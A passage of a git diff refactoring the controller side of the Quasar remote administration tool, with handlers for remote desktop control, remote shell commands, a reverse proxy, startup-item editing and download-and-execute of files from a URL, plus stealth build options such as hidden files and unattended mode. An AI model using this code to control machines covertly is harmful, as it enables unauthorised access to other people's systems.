GetDeleteRegistryValueResponse message) + { + if (!message.IsError) + { + OnValueDeleted(message.KeyPath, message.ValueName); + } + else + { + OnReport(message.ErrorMsg); + } + } + + private void Execute(ISender client, GetRenameRegistryValueResponse message) + { + if (!message.IsError) + { + OnValueRenamed(message.KeyPath, message.OldValueName, message.NewValueName); + } + else + { + OnReport(message.ErrorMsg); + } + } + + private void Execute(ISender client, GetChangeRegistryValueResponse message) + { + if (!message.IsError) + { + OnValueChanged(message.KeyPath, message.Value); + } + else + { + OnReport(message.ErrorMsg); + } + } + } +} diff --git a/Quasar.Server/Messages/RemoteDesktopHandler.cs b/Quasar.Server/Messages/RemoteDesktopHandler.cs new file mode 100644 index 000000000..28e0b8dfb --- /dev/null +++ b/Quasar.Server/Messages/RemoteDesktopHandler.cs @@ -0,0 +1,249 @@ +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Common.Video.Codecs; +using Quasar.Server.Networking; +using System; +using System.Drawing; +using System.IO; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with the remote desktop. + /// + public class RemoteDesktopHandler : MessageProcessorBase, IDisposable + { + /// + /// States if the client is currently streaming desktop frames. + /// + public bool IsStarted { get; set; } + + /// + /// Used in lock statements to synchronize access to between UI thread and thread pool. + /// + private readonly object _syncLock = new object(); + + /// + /// Used in lock statements to synchronize access to between UI thread and thread pool. + /// + private readonly object _sizeLock = new object(); + + /// + /// The local resolution, see . + /// + private Size _localResolution; + + /// + /// The local resolution in width x height. It indicates to which resolution the received frame should be resized. + /// + /// + /// This property is thread-safe. + /// + public Size LocalResolution + { + get + { + lock (_sizeLock) + { + return _localResolution; + } + } + set + { + lock (_sizeLock) + { + _localResolution = value; + } + } + } + + /// + /// Represents the method that will handle display changes. + /// + /// The message processor which raised the event. + /// All currently available displays. + public delegate void DisplaysChangedEventHandler(object sender, int value); + + /// + /// Raised when a display changed. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event DisplaysChangedEventHandler DisplaysChanged; + + /// + /// Reports changed displays. + /// + /// All currently available displays. + private void OnDisplaysChanged(int value) + { + SynchronizationContext.Post(val => + { + var handler = DisplaysChanged; + handler?.Invoke(this, (int)val); + }, value); + } + + /// + /// The client which is associated with this remote desktop handler. + /// + private readonly Client _client; + + /// + /// The video stream codec used to decode received frames. + /// + private UnsafeStreamCodec _codec; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public RemoteDesktopHandler(Client client) : base(true) + { + _client = client; + } + + /// + public override bool CanExecute(IMessage message) => message is GetDesktopResponse || message is GetMonitorsResponse; + + /// + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetDesktopResponse d: + Execute(sender, d); + break; + case GetMonitorsResponse m: + Execute(sender, m); + break; + } + } + + /// + /// Begins receiving frames from the client using the specified quality and display. + /// + /// The quality of the remote desktop frames. + /// The display to receive frames from. + public void BeginReceiveFrames(int quality, int display) + { + lock (_syncLock) + { + IsStarted = true; + _codec?.Dispose(); + _codec = null; + _client.Send(new GetDesktop { CreateNew = true, Quality = quality, DisplayIndex = display }); + } + } + + /// + /// Ends receiving frames from the client. + /// + public void EndReceiveFrames() + { + lock (_syncLock) + { + IsStarted = false; + } + } + + /// + /// Refreshes the available displays of the client. + /// + public void RefreshDisplays() + { + _client.Send(new GetMonitors()); + } + + /// + /// Sends a mouse event to the specified display of the client. + /// + /// The mouse action to send. + /// Indicates whether it's a mousedown or mouseup event. + /// The X-coordinate inside the . + /// The Y-coordinate inside the . + /// The display to execute the mouse event on. + public void SendMouseEvent(MouseAction mouseAction, bool isMouseDown, int x, int y, int displayIndex) + { + lock (_syncLock) + { + _client.Send(new DoMouseEvent + { + Action = mouseAction, + IsMouseDown = isMouseDown, + // calculate remote width & height + X = x * _codec.Resolution.Width / LocalResolution.Width, + Y = y * _codec.Resolution.Height / LocalResolution.Height, + MonitorIndex = displayIndex + }); + } + } + + /// + /// Sends a keyboard event to the client. + /// + /// The pressed key. + /// Indicates whether it's a keydown or keyup event. + public void SendKeyboardEvent(byte keyCode, bool keyDown) + { + _client.Send(new DoKeyboardEvent {Key = keyCode, KeyDown = keyDown}); + } + + private void Execute(ISender client, GetDesktopResponse message) + { + lock (_syncLock) + { + if (!IsStarted) + return; + + if (_codec == null || _codec.ImageQuality != message.Quality || _codec.Monitor != message.Monitor || _codec.Resolution != message.Resolution) + { + _codec?.Dispose(); + _codec = new UnsafeStreamCodec(message.Quality, message.Monitor, message.Resolution); + } + + using (MemoryStream ms = new MemoryStream(message.Image)) + { + // create deep copy & resize bitmap to local resolution + OnReport(new Bitmap(_codec.DecodeData(ms), LocalResolution)); + } + + message.Image = null; + + client.Send(new GetDesktop {Quality = message.Quality, DisplayIndex = message.Monitor}); + } + } + + private void Execute(ISender client, GetMonitorsResponse message) + { + OnDisplaysChanged(message.Number); + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + lock (_syncLock) + { + _codec?.Dispose(); + IsStarted = false; + } + } + } + } +} diff --git a/Quasar.Server/Messages/RemoteShellHandler.cs b/Quasar.Server/Messages/RemoteShellHandler.cs new file mode 100644 index 000000000..eae41dcaf --- /dev/null +++ b/Quasar.Server/Messages/RemoteShellHandler.cs @@ -0,0 +1,89 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Server.Networking; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with the remote shell. + /// + public class RemoteShellHandler : MessageProcessorBase + { + /// + /// The client which is associated with this remote shell handler. + /// + private readonly Client _client; + + /// + /// Represents the method that will command errors. + /// + /// The message processor which raised the event. + /// The error message. + public delegate void CommandErrorEventHandler(object sender, string errorMessage); + + /// + /// Raised when a command writes to stderr. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event CommandErrorEventHandler CommandError; + + /// + /// Reports a command error. + /// + /// The error message. + private void OnCommandError(string errorMessage) + { + SynchronizationContext.Post(val => + { + var handler = CommandError; + handler?.Invoke(this, (string)val); + }, errorMessage); + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public RemoteShellHandler(Client client) : base(true) + { + _client = client; + } + + /// + public override bool CanExecute(IMessage message) => message is DoShellExecuteResponse; + + /// + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoShellExecuteResponse resp: + Execute(sender, resp); + break; + } + } + + /// + /// Sends a command to execute in the remote shell of the client. + /// + /// The command to execute. + public void SendCommand(string command) + { + _client.Send(new DoShellExecute {Command = command}); + } + + private void Execute(ISender client, DoShellExecuteResponse message) + { + if (message.IsError) + OnCommandError(message.Output); + else + OnReport(message.Output); + } + } +} diff --git a/Quasar.Server/Messages/ReverseProxyHandler.cs b/Quasar.Server/Messages/ReverseProxyHandler.cs new file mode 100644 index 000000000..99f64e424 --- /dev/null +++ b/Quasar.Server/Messages/ReverseProxyHandler.cs @@ -0,0 +1,127 @@ +using Quasar.Common.Messages; +using Quasar.Common.Messages.ReverseProxy; +using Quasar.Common.Networking; +using Quasar.Server.Networking; +using Quasar.Server.ReverseProxy; +using System; +using System.Linq; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with the remote reverse proxy. + /// + public class ReverseProxyHandler : MessageProcessorBase + { + /// + /// The clients which is associated with this reverse proxy handler. + /// + private readonly Client[] _clients; + + /// + /// The reverse proxy server to accept & serve SOCKS5 connections. + /// + private readonly ReverseProxyServer _socksServer; + + /// + /// Initializes a new instance of the class using the given clients. + /// + /// The associated clients. + public ReverseProxyHandler(Client[] clients) : base(true) + { + _socksServer = new ReverseProxyServer(); + _clients = clients; + } + + /// + public override bool CanExecute(IMessage message) => message is ReverseProxyConnectResponse || + message is ReverseProxyData || + message is ReverseProxyDisconnect; + + /// + public override bool CanExecuteFrom(ISender sender) => _clients.Any(c => c.Equals(sender)); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case ReverseProxyConnectResponse con: + Execute(sender, con); + break; + case ReverseProxyData data: + Execute(sender, data); + break; + case ReverseProxyDisconnect disc: + Execute(sender, disc); + break; + } + } + + /// + /// Starts the reverse proxy server using the given port. + /// + /// The port to listen on. + public void StartReverseProxyServer(ushort port) + { + _socksServer.OnConnectionEstablished += socksServer_onConnectionEstablished; + _socksServer.OnUpdateConnection += socksServer_onUpdateConnection; + _socksServer.StartServer(_clients, "0.0.0.0", port); + } + + /// + /// Stops the reverse proxy server. + /// + public void StopReverseProxyServer() + { + _socksServer.Stop(); + _socksServer.OnConnectionEstablished -= socksServer_onConnectionEstablished; + _socksServer.OnUpdateConnection -= socksServer_onUpdateConnection; + } + + private void Execute(ISender client, ReverseProxyConnectResponse message) + { + ReverseProxyClient socksClient = _socksServer.GetClientByConnectionId(message.ConnectionId); + socksClient?.HandleCommandResponse(message); + } + + private void Execute(ISender client, ReverseProxyData message) + { + ReverseProxyClient socksClient = _socksServer.GetClientByConnectionId(message.ConnectionId); + socksClient?.SendToClient(message.Data); + } + + private void Execute(ISender client, ReverseProxyDisconnect message) + { + ReverseProxyClient socksClient = _socksServer.GetClientByConnectionId(message.ConnectionId); + socksClient?.Disconnect(); + } + + void socksServer_onUpdateConnection(ReverseProxyClient proxyClient) + { + OnReport(_socksServer.OpenConnections); + } + + void socksServer_onConnectionEstablished(ReverseProxyClient proxyClient) + { + OnReport(_socksServer.OpenConnections); + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + StopReverseProxyServer(); + } + } + } +} diff --git a/Quasar.Server/Messages/StartupManagerHandler.cs b/Quasar.Server/Messages/StartupManagerHandler.cs new file mode 100644 index 000000000..6aa4c98ca --- /dev/null +++ b/Quasar.Server/Messages/StartupManagerHandler.cs @@ -0,0 +1,76 @@ +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using Quasar.Server.Networking; +using System.Collections.Generic; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with remote startup tasks. + /// + public class StartupManagerHandler : MessageProcessorBase> + { + /// + /// The client which is associated with this startup manager handler. + /// + private readonly Client _client; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public StartupManagerHandler(Client client) : base(true) + { + _client = client; + } + + /// + public override bool CanExecute(IMessage message) => message is GetStartupItemsResponse; + + /// + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetStartupItemsResponse items: + Execute(sender, items); + break; + } + } + + /// + /// Refreshes the current startup items. + /// + public void RefreshStartupItems() + { + _client.Send(new GetStartupItems()); + } + + /// + /// Removes an item from startup. + /// + /// Startup item to remove. + public void RemoveStartupItem(StartupItem item) + { + _client.Send(new DoStartupItemRemove {StartupItem = item}); + } + + /// + /// Adds an item to startup. + /// + /// Startup item to add. + public void AddStartupItem(StartupItem item) + { + _client.Send(new DoStartupItemAdd {StartupItem = item}); + } + + private void Execute(ISender client, GetStartupItemsResponse message) + { + OnReport(message.StartupItems); + } + } +} diff --git a/Quasar.Server/Messages/SystemInformationHandler.cs b/Quasar.Server/Messages/SystemInformationHandler.cs new file mode 100644 index 000000000..42d8adbc3 --- /dev/null +++ b/Quasar.Server/Messages/SystemInformationHandler.cs @@ -0,0 +1,73 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Server.Networking; +using System; +using System.Collections.Generic; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with the remote system information. + /// + public class SystemInformationHandler : MessageProcessorBase>> + { + /// + /// The client which is associated with this system information handler. + /// + private readonly Client _client; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public SystemInformationHandler(Client client) : base(true) + { + _client = client; + } + + /// + public override bool CanExecute(IMessage message) => message is GetSystemInfoResponse; + + /// + public override bool CanExecuteFrom(ISender client) => _client.Equals(client); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetSystemInfoResponse info: + Execute(sender, info); + break; + } + } + + /// + /// Refreshes the system information of the client. + /// + public void RefreshSystemInformation() + { + _client.Send(new GetSystemInfo()); + } + + private void Execute(ISender client, GetSystemInfoResponse message) + { + OnReport(message.SystemInfos); + + // TODO: Refactor tooltip + //if (Settings.ShowToolTip) + //{ + // var builder = new StringBuilder(); + // for (int i = 0; i < packet.SystemInfos.Length; i += 2) + // { + // if (packet.SystemInfos[i] != null && packet.SystemInfos[i + 1] != null) + // { + // builder.AppendFormat("{0}: {1}\r\n", packet.SystemInfos[i], packet.SystemInfos[i + 1]); + // } + // } + + // FrmMain.Instance.SetToolTipText(client, builder.ToString()); + //} + } + } +} diff --git a/Quasar.Server/Messages/TaskManagerHandler.cs b/Quasar.Server/Messages/TaskManagerHandler.cs new file mode 100644 index 000000000..478dfd980 --- /dev/null +++ b/Quasar.Server/Messages/TaskManagerHandler.cs @@ -0,0 +1,124 @@ +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using Quasar.Server.Networking; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with remote tasks. + /// + public class TaskManagerHandler : MessageProcessorBase + { + /// + /// Represents the method that will handle the result of a process action. + /// + /// The message processor which raised the event. + /// The process action which was performed. + /// The result of the performed process action. + public delegate void ProcessActionPerformedEventHandler(object sender, ProcessAction action, bool result); + + /// + /// Raised when a result of a started process is received. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event ProcessActionPerformedEventHandler ProcessActionPerformed; + + /// + /// Reports the result of a started process. + /// + /// The process action which was performed. + /// The result of the performed process action. + private void OnProcessActionPerformed(ProcessAction action, bool result) + { + SynchronizationContext.Post(r => + { + var handler = ProcessActionPerformed; + handler?.Invoke(this, action, (bool)r); + }, result); + } + + /// + /// The client which is associated with this remote execution handler. + /// + private readonly Client _client; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public TaskManagerHandler(Client client) : base(true) + { + _client = client; + } + + public override bool CanExecute(IMessage message) => message is DoProcessResponse || + message is GetProcessesResponse; + + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoProcessResponse execResp: + Execute(sender, execResp); + break; + case GetProcessesResponse procResp: + Execute(sender, procResp); + break; + } + } + + /// + /// Starts a new process remotely. + /// + /// The remote path used for starting the new process. + /// Decides whether the process is a client update. + public void StartProcess(string remotePath, bool isUpdate = false) + { + _client.Send(new DoProcessStart { FilePath = remotePath, IsUpdate = isUpdate }); + } + + /// + /// Downloads a file from the web and executes it remotely. + /// + /// The URL to download and execute. + /// Decides whether the file is a client update. + public void StartProcessFromWeb(string url, bool isUpdate = false) + { + _client.Send(new DoProcessStart { DownloadUrl = url, IsUpdate = isUpdate}); + } + + /// + /// Refreshes the current started processes. + /// + public void RefreshProcesses() + { + _client.Send(new GetProcesses()); + } + + /// + /// Ends a started process given the process id. + /// + /// The process id to end. + public void EndProcess(int pid) + { + _client.Send(new DoProcessEnd { Pid = pid }); + } + + private void Execute(ISender client, DoProcessResponse message) + { + OnProcessActionPerformed(message.Action, message.Result); + } + + private void Execute(ISender client, GetProcessesResponse message) + { + OnReport(message.Processes); + } + } +} diff --git a/Quasar.Server/Messages/TcpConnectionsHandler.cs b/Quasar.Server/Messages/TcpConnectionsHandler.cs new file mode 100644 index 000000000..3a3ece2f3 --- /dev/null +++ b/Quasar.Server/Messages/TcpConnectionsHandler.cs @@ -0,0 +1,76 @@ +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using Quasar.Server.Networking; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with remote TCP connections. + /// + public class TcpConnectionsHandler : MessageProcessorBase + { + /// + /// The client which is associated with this tcp connections handler. + /// + private readonly Client _client; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public TcpConnectionsHandler(Client client) : base(true) + { + _client = client; + } + + /// + public override bool CanExecute(IMessage message) => message is GetConnectionsResponse; + + /// + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetConnectionsResponse con: + Execute(sender, con); + break; + } + } + + /// + /// Refreshes the current TCP connections. + /// + public void RefreshTcpConnections() + { + _client.Send(new GetConnections()); + } + + /// + /// Closes a TCP connection of the client. + /// + /// Local address. + /// Local port. + /// Remote address. + /// Remote port. + public void CloseTcpConnection(string localAddress, ushort localPort, string remoteAddress, ushort remotePort) + { + // a unique tcp connection is determined by local address + port and remote address + port + _client.Send(new DoCloseConnection + { + LocalAddress = localAddress, + LocalPort = localPort, + RemoteAddress = remoteAddress, + RemotePort = remotePort + }); + } + + private void Execute(ISender client, GetConnectionsResponse message) + { + OnReport(message.Connections); + } + } +} diff --git a/Server/Core/Data/BuildOptions.cs b/Quasar.Server/Models/BuildOptions.cs similarity index 86% rename from Server/Core/Data/BuildOptions.cs rename to Quasar.Server/Models/BuildOptions.cs index 06b98125d..07f90a0fa 100644 --- a/Server/Core/Data/BuildOptions.cs +++ b/Quasar.Server/Models/BuildOptions.cs @@ -1,8 +1,7 @@ -namespace xServer.Core.Data +namespace Quasar.Server.Models { public class BuildOptions { - public bool ValidationSuccess { get; set; } public bool Install { get; set; } public bool Startup { get; set; } public bool HideFile { get; set; } @@ -10,7 +9,6 @@ public class BuildOptions public string Tag { get; set; } public string Mutex { get; set; } public string RawHosts { get; set; } - public string Password { get; set; } public string IconPath { get; set; } public string Version { get; set; } public string InstallSub { get; set; } @@ -22,5 +20,7 @@ public class BuildOptions public string[] AssemblyInformation { get; set; } public string LogDirectoryName { get; set; } public bool HideLogDirectory { get; set; } + public bool HideInstallSubdirectory { get; set; } + public bool UnattendedMode { get; set; } } } diff --git a/Server/Core/Data/BuilderProfile.cs b/Quasar.Server/Models/BuilderProfile.cs similarity index 94% rename from Server/Core/Data/BuilderProfile.cs rename to Quasar.Server/Models/BuilderProfile.cs index bf58930b7..8d074f050 100644 --- a/Server/Core/Data/BuilderProfile.cs +++ b/Quasar.Server/Models/BuilderProfile.cs @@ -3,9 +3,8 @@ using System.Windows.Forms; using System.Xml; using System.Xml.XPath; -using xServer.Core.Helper; -namespace xServer.Core.Data +namespace Quasar.Server.Models { public class BuilderProfile { @@ -35,39 +34,39 @@ public string Tag } } - public string Password + public int Delay { get { - return ReadValueSafe("Password", Settings.Password); + return int.Parse(ReadValueSafe("Delay", "3000")); } set { - WriteValue("Password", value); + WriteValue("Delay", value.ToString()); } } - public int Delay + public string Mutex { get { - return int.Parse(ReadValueSafe("Delay", "3000")); + return ReadValueSafe("Mutex", Guid.NewGuid().ToString()); } set { - WriteValue("Delay", value.ToString()); + WriteValue("Mutex", value); } } - public string Mutex + public bool UnattendedMode { get { - return ReadValueSafe("Mutex", FormatHelper.GenerateMutex()); + return bool.Parse(ReadValueSafe("UnattendedMode", "False")); } set { - WriteValue("Mutex", value); + WriteValue("UnattendedMode", value.ToString()); } } @@ -131,6 +130,18 @@ public bool HideFile } } + public bool HideSubDirectory + { + get + { + return bool.Parse(ReadValueSafe("HideSubDirectory", "False")); + } + set + { + WriteValue("HideSubDirectory", value.ToString()); + } + } + public bool AddStartup { get @@ -396,4 +407,4 @@ private void WriteValue(string pstrValueToRead, string pstrValueToWrite) } } } -} \ No newline at end of file +} diff --git a/Quasar.Server/Models/DummyCertificate.cs b/Quasar.Server/Models/DummyCertificate.cs new file mode 100644 index 000000000..7ee85588a --- /dev/null +++ b/Quasar.Server/Models/DummyCertificate.cs @@ -0,0 +1,200 @@ +using System.Security.Cryptography.X509Certificates; + +namespace Quasar.Server.Models +{ + /// + /// Provides a dummy certificate for debugging. Do not use in production. + /// + public sealed class DummyCertificate : X509Certificate2 + { + private static readonly byte[] CertificateBytes = + { + 48, 130, 16, 163, 2, 1, 3, 48, 130, 16, 95, 6, 9, 42, 134, 72, 134, 247, 13, 1, 7, 1, 160, 130, 16, 80, 4, + 130, 16, 76, 48, 130, 16, 72, 48, 130, 10, 177, 6, 9, 42, 134, 72, 134, 247, 13, 1, 7, 1, 160, 130, 10, 162, + 4, 130, 10, 158, 48, 130, 10, 154, 48, 130, 10, 150, 6, 11, 42, 134, 72, 134, 247, 13, 1, 12, 10, 1, 2, 160, + 130, 9, 126, 48, 130, 9, 122, 48, 28, 6, 10, 42, 134, 72, 134, 247, 13, 1, 12, 1, 3, 48, 14, 4, 8, 55, 218, + 160, 56, 14, 249, 193, 233, 2, 2, 7, 208, 4, 130, 9, 88, 200, 194, 253, 138, 219, 236, 70, 232, 138, 10, 70, + 100, 167, 76, 74, 50, 45, 18, 111, 58, 93, 132, 87, 28, 203, 147, 242, 255, 250, 211, 45, 70, 61, 227, 211, + 189, 24, 140, 30, 238, 231, 207, 40, 100, 115, 10, 78, 79, 243, 48, 109, 55, 71, 46, 223, 169, 135, 33, 119, + 67, 58, 16, 65, 45, 3, 94, 57, 129, 84, 18, 83, 77, 105, 100, 87, 180, 125, 168, 229, 247, 113, 150, 224, + 249, 36, 150, 140, 88, 20, 195, 200, 125, 3, 161, 133, 194, 135, 71, 196, 59, 7, 101, 146, 63, 140, 0, 0, + 190, 166, 13, 86, 157, 225, 181, 78, 176, 62, 206, 73, 30, 69, 99, 65, 197, 122, 75, 135, 21, 122, 19, 110, + 25, 0, 19, 130, 90, 74, 32, 117, 253, 141, 107, 149, 94, 122, 121, 251, 129, 17, 152, 23, 148, 19, 81, 178, + 237, 190, 85, 253, 215, 145, 119, 77, 0, 69, 76, 148, 226, 232, 121, 200, 51, 213, 142, 55, 68, 238, 132, + 80, 196, 163, 175, 246, 6, 205, 164, 59, 159, 111, 72, 42, 100, 8, 37, 152, 69, 241, 237, 217, 20, 168, 30, + 168, 54, 131, 47, 127, 229, 13, 24, 33, 109, 37, 254, 105, 168, 48, 81, 20, 166, 150, 43, 242, 139, 104, + 209, 134, 51, 8, 6, 255, 107, 49, 40, 140, 41, 130, 238, 6, 193, 51, 203, 107, 144, 43, 60, 118, 9, 243, 96, + 45, 212, 72, 129, 126, 204, 180, 165, 208, 158, 174, 244, 42, 241, 148, 107, 231, 233, 80, 117, 114, 204, + 37, 80, 246, 180, 99, 138, 254, 132, 96, 235, 171, 136, 82, 198, 55, 115, 203, 195, 180, 150, 155, 182, 73, + 191, 146, 194, 83, 98, 114, 100, 93, 146, 25, 36, 71, 169, 179, 22, 119, 49, 38, 60, 147, 27, 32, 168, 45, + 140, 6, 83, 44, 14, 226, 54, 122, 98, 105, 50, 191, 166, 12, 102, 226, 110, 220, 54, 42, 141, 93, 11, 200, + 172, 94, 19, 75, 164, 69, 17, 145, 108, 138, 54, 226, 47, 226, 2, 6, 209, 217, 27, 136, 7, 189, 189, 20, 60, + 77, 186, 166, 233, 243, 15, 2, 62, 82, 219, 35, 144, 191, 26, 21, 20, 200, 92, 70, 215, 127, 243, 180, 125, + 222, 249, 91, 125, 54, 117, 123, 0, 86, 65, 156, 222, 235, 164, 184, 54, 117, 24, 176, 198, 242, 144, 109, + 212, 0, 195, 16, 219, 74, 28, 101, 99, 107, 102, 202, 58, 247, 59, 220, 218, 57, 245, 103, 90, 85, 252, 205, + 105, 125, 109, 154, 142, 77, 76, 146, 49, 222, 17, 149, 128, 106, 106, 231, 75, 106, 4, 127, 146, 15, 143, + 40, 136, 178, 225, 61, 123, 70, 135, 188, 34, 235, 63, 89, 77, 154, 55, 65, 194, 36, 70, 61, 176, 80, 33, + 69, 224, 131, 147, 75, 240, 179, 195, 45, 226, 152, 9, 142, 95, 30, 108, 203, 1, 179, 113, 138, 86, 3, 155, + 17, 171, 178, 179, 200, 172, 189, 230, 211, 167, 111, 219, 157, 175, 110, 33, 53, 162, 249, 155, 110, 249, + 159, 120, 168, 146, 98, 119, 140, 238, 13, 77, 16, 35, 183, 200, 20, 74, 25, 105, 245, 48, 91, 75, 210, 195, + 168, 76, 172, 157, 202, 203, 108, 34, 162, 141, 136, 183, 111, 195, 40, 142, 151, 95, 157, 57, 211, 5, 127, + 199, 170, 45, 192, 147, 52, 17, 75, 197, 52, 214, 172, 126, 206, 134, 135, 204, 128, 251, 33, 36, 238, 83, + 74, 59, 166, 161, 177, 59, 226, 243, 152, 190, 168, 212, 127, 120, 115, 65, 76, 132, 115, 150, 146, 225, + 210, 208, 114, 121, 11, 107, 230, 225, 140, 250, 169, 215, 83, 231, 124, 35, 207, 76, 20, 69, 31, 184, 210, + 184, 55, 170, 226, 118, 0, 252, 105, 91, 201, 82, 36, 4, 45, 135, 38, 168, 81, 202, 91, 49, 217, 213, 26, + 210, 77, 37, 5, 57, 71, 227, 23, 58, 18, 221, 194, 34, 88, 218, 219, 124, 48, 230, 8, 239, 185, 169, 150, + 190, 246, 112, 92, 208, 93, 160, 248, 197, 64, 196, 20, 20, 11, 239, 147, 195, 179, 47, 136, 153, 24, 143, + 103, 57, 88, 246, 122, 63, 203, 165, 192, 130, 130, 228, 235, 45, 36, 103, 235, 165, 72, 130, 45, 222, 212, + 50, 179, 154, 77, 71, 102, 1, 44, 21, 19, 215, 240, 134, 231, 124, 222, 168, 210, 191, 141, 7, 193, 102, + 148, 81, 46, 6, 111, 14, 14, 48, 29, 21, 54, 166, 217, 32, 106, 240, 69, 137, 171, 58, 217, 110, 79, 172, + 92, 198, 174, 177, 196, 10, 10, 214, 105, 43, 125, 185, 217, 58, 252, 60, 229, 252, 126, 109, 79, 234, 35, + 215, 121, 141, 120, 21, 222, 174, 186, 64, 190, 244, 66, 251, 17, 168, 85, 199, 233, 182, 233, 75, 107, 0, + 176, 71, 27, 167, 216, 84, 78, 115, 128, 177, 20, 104, 248, 219, 68, 95, 250, 30, 126, 25, 223, 195, 17, 76, + 245, 157, 52, 91, 201, 180, 142, 110, 114, 229, 89, 65, 43, 72, 2, 44, 85, 207, 69, 15, 189, 152, 230, 94, + 245, 153, 171, 151, 15, 38, 177, 167, 28, 206, 43, 190, 125, 8, 106, 233, 168, 156, 106, 196, 116, 163, 130, + 10, 247, 189, 5, 181, 50, 254, 76, 158, 252, 132, 192, 117, 97, 158, 141, 33, 184, 27, 118, 101, 224, 128, + 59, 18, 247, 205, 18, 129, 45, 115, 122, 139, 11, 35, 18, 227, 210, 131, 181, 24, 41, 10, 177, 203, 116, + 241, 106, 117, 133, 217, 104, 173, 161, 44, 114, 98, 234, 7, 165, 200, 89, 183, 148, 230, 84, 129, 196, 142, + 146, 208, 121, 38, 64, 124, 23, 23, 181, 182, 54, 122, 142, 127, 204, 56, 30, 92, 113, 123, 182, 97, 186, + 214, 44, 237, 20, 141, 47, 38, 47, 197, 69, 237, 13, 5, 244, 220, 251, 31, 45, 223, 195, 193, 42, 136, 36, + 150, 133, 161, 244, 29, 82, 228, 253, 63, 147, 254, 58, 92, 194, 4, 162, 190, 16, 61, 177, 222, 122, 10, 73, + 106, 196, 243, 153, 240, 22, 223, 123, 107, 193, 59, 23, 45, 129, 14, 12, 184, 85, 22, 233, 165, 212, 188, + 30, 68, 154, 206, 135, 223, 170, 149, 242, 10, 55, 73, 215, 162, 5, 53, 75, 45, 179, 62, 160, 240, 145, 200, + 154, 61, 75, 135, 108, 33, 16, 206, 89, 185, 120, 182, 229, 224, 31, 98, 244, 136, 229, 55, 205, 55, 75, + 237, 41, 122, 64, 160, 189, 1, 15, 245, 126, 248, 74, 130, 135, 237, 66, 207, 142, 192, 217, 123, 74, 140, + 44, 93, 199, 145, 157, 103, 12, 235, 224, 194, 168, 213, 49, 82, 251, 182, 219, 240, 37, 197, 255, 120, 151, + 99, 204, 210, 191, 231, 8, 230, 241, 3, 136, 120, 234, 38, 251, 234, 130, 231, 30, 6, 123, 12, 147, 83, 195, + 107, 233, 97, 131, 124, 237, 7, 119, 16, 61, 243, 36, 24, 53, 8, 140, 85, 158, 232, 206, 234, 21, 163, 245, + 160, 171, 174, 130, 206, 74, 19, 178, 161, 187, 9, 69, 121, 179, 67, 24, 139, 165, 161, 189, 246, 203, 36, + 215, 192, 64, 32, 34, 201, 135, 179, 135, 111, 148, 202, 214, 11, 125, 200, 194, 8, 254, 86, 31, 134, 127, + 118, 217, 108, 94, 58, 158, 238, 164, 51, 65, 142, 247, 19, 244, 154, 56, 17, 159, 173, 138, 182, 220, 118, + 239, 73, 245, 229, 183, 44, 206, 238, 154, 153, 111, 97, 130, 52, 150, 241, 191, 20, 5, 237, 122, 12, 74, + 23, 154, 29, 229, 255, 210, 254, 180, 215, 111, 62, 254, 8, 69, 226, 216, 142, 183, 6, 114, 37, 178, 215, + 191, 166, 72, 34, 86, 77, 154, 110, 211, 90, 14, 233, 200, 43, 232, 193, 206, 26, 38, 76, 111, 187, 90, 118, + 142, 122, 92, 96, 124, 187, 144, 0, 164, 134, 211, 88, 60, 17, 169, 76, 105, 77, 243, 27, 155, 93, 33, 13, + 3, 184, 184, 220, 19, 174, 221, 225, 121, 112, 99, 122, 173, 96, 14, 98, 244, 42, 187, 57, 108, 8, 214, 60, + 77, 113, 249, 110, 152, 96, 52, 186, 176, 201, 142, 21, 204, 41, 163, 3, 192, 99, 140, 189, 152, 13, 65, + 222, 220, 49, 45, 202, 210, 249, 122, 135, 178, 19, 49, 16, 149, 203, 203, 62, 131, 91, 17, 171, 164, 149, + 34, 226, 96, 123, 